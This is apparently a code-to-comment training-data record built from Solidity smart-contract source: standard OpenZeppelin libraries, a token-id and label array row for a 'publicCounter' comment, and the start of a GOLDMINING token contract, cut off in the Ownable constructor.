require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
|
@notice Count of Public Saled Tokens
|
uint256 public publicCounter;
| 6,256,805 |
[
1,
1380,
434,
7224,
348,
18931,
13899,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
1071,
4789,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
**********************************************
* GOLDMINING.FARM *
**********************************************
* NAME: GOLDMINING TOKEN *
* VERSION: 0.1.1 *
* TICKER: GMT *
* SUPPLY: 5000 GMT *
* MINING START: ETHEREUM BLOCK # 10978939 *
* BONUS BLOCK: 0 BLOCKS ONLY *
* BONUS REWARD: 1X [ NO BONUS ] *
* BLOCK REWARD: 0.25 GMT / BLOCK *
* TEAM ALLOCATION: 5% *
**********************************************
* MORE DETAILS *
**********************************************
* App: https://goldmining.farm *
* Telegram: https://t.me/goldminingfarm *
* Twitter: https://twitter.com/goldminingfarm*
**********************************************
*/
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
